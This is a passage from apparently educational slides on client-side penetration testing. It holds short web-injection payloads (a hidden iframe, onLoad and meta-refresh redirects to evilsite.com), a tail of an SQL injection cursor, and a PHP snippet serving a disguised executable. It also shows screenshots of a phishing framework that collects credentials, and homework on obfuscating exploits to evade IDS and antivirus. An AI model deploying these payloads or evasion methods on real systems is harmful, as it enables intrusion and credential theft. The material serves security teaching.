"')FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor DEALLOCATE
Table_Cursor
```

A Few More...

⦿ iFrames

- `document.write('<iframe style=display:none src="http://www.evilsite.com/file.htm"></iframe>')`

⦿ BODY onLoad

- `<BODY onLoad="open('http://evilsite.com')">`

⦿ Meta refresh

- `<meta http-equiv="refresh" content="3;url=http://evilsite.com">`

⦿ HTTP Headers

- `header('Content-type: application/pdf');`
`header('Content-Disposition: inline;filename="evil.pdf");`
`header("Content-Transfer-Encoding: binary");`

⦿ MITM

- Ettercap
- Cain & Abel
- Karma / Karmetasploit

```
if ($payload == 'exe') {  
    $file = "java.exe";  
    $size = filesize($filename);  
    $fp = fopen($filename, "r");  
    $source = fread($fp, $size);  
    fclose($fp);  
  
    header("Accept-Ranges: bytes\r\n");  
    header("Content-Length: ".$size."\r\n");  
    header("Content-Disposition: inline; filename=".$file);  
    header("\r\n");  
    header("Content-Type: application/octet-stream\r\n\r\n");  
    echo $source;  
}
```

Let's make it easy...

 ASSAGAI
PHISHING FRAMEWORK

Logged in as: dean
[Logout](#)

Home Manage Reports About

Welcome to Assagai

Assagai is a framework designed to simplify the process of creating and executing phishing exercises for penetration testing engagements. Assagai allows for the creation of custom emails, websites and payloads [pdf, zip, doc] for targeting organizations. It will generate reports showing trends, success rate and other metrics as well as captured data such as usernames, passwords, system information, plugins and more...

Create New Phishing Engagement

Name:

Description:

Create


Copy Existing Phishing Engagement

This makes a copy of the selected phish including all the email targets that were originally uploaded.

Name:

Copy

Phishing Engagement Success Rate
[% of users clicking link]



Engagement	Success Rate
Demo_mailer	100%
Demo_all	50%
new mailer test	50%
performance	77%
RegisCorp	26%

Previous Phishing Engagement Results

Date	Track	Engagement	Description	Success Rate
2009-10-30 15:07:54		RegisCorp	Phish portion of external and Internal penetration test for RegisCorp	26%
2009-10-07 23:21:34		Demo_all	this is just another demo of assagai and it's functionality.	50%
2009-10-07 20:21:22		Demo_mailer	This is a test of the mail sending status page	100%
2009-09-18 19:38:25		new mailer test	This is a test of the new mailer.php code	50%
2009-07-18 09:14:33		performance	a test of the database performance	77%

Next Last

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 ASSAGAI
PHISHING FRAMEWORK

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Phishing Engagement Details

Engagement: **performance** Date Created: 2009-07-18 09:14:33

Description: **a test of the database performance**

Total Emails Sent: 13 Total clicks: 10 Success Rate: 77%

User/Pass Collected: 8 Payloads Sent: 4

Records: 1 to 13 of 13

Firstname	Lastname	Email	Org/Dept	Clicked	User/Pass	Payload
dean	de beer	dean@zeroday solutions.com				
dean	de beer	dean@zeroday solutions.com				
dean	de beer	dean@attackresearch.com				
john	doe	john@zeroday solutions.com				
eric	smith	eric@zeroday solutions.com				
sales		sales@zeroday solutions.com				
security		security@zeroday solutions.com				
dean	de beer	dean@zeroday solutions.com				
dean	de beer	dean@attackresearch.com				
john	doe	john@zeroday solutions.com				
eric	smith	eric@zeroday solutions.com				
sales		sales@zeroday solutions.com				
security		security@zeroday solutions.com				

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Comments

- ⦿ Client side attacks will continue to grow and develop
- ⦿ Client side pentesting is very different to traditional network pentesting
- ⦿ A successful client side attack can quickly lead to access of critical assets

Someone always clicks the link

Homework

◎ **Plugin detection**

- Create a webpage to detect browser version, 3rd party apps, CLASSIDs, etc...
- Consider cross browser functionality
- Deliver an exploit or unique page based on Browser/OS

◎ **Create and obfuscate MDAC RDS code**

- Try to bypass a network IDS. Consider what's triggering.
- Code sample available

◎ **Malicious PDF**

- Bypass AV on host. Test against virus total. It must be functional - Open CALC.EXE...
- Code sample available